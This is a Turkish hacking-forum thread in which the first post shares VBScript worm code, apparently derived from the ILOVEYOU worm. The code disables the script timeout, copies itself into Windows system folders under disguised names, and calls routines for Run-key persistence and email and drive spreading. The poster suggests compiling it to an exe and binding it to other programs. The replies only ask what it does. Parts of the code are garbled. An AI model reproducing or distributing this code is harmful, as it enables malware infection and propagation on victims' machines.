THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

takipci
Seçenekler

Ms32Kernel Not Defteri Kodları... Exe Yapılabilir...

coop026 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2011
Nereden:
Eskişehir
Mesajlar:
241
Konular:
131
Teşekkür (Etti):
17
Teşekkür (Aldı):
35
Ticaret:
(0) %
2
1447
07-01-2012 21:26
#1
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"


.exe yapabilirsiniz. Programla Birleştirebilirsiniz v.s v.s
manewor - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2012
Nereden:
koltuk
Mesajlar:
277
Konular:
77
Teşekkür (Etti):
49
Teşekkür (Aldı):
10
Ticaret:
(0) %
10-01-2012 23:38
#2
ne işe yarıyo bu kodlar
awskemleyim - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2012
Mesajlar:
88
Konular:
3
Teşekkür (Etti):
9
Teşekkür (Aldı):
2
Ticaret:
(0) %
14-01-2012 02:34
#3
Ne işe yaradıklarını yazarmısın kardeşim

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler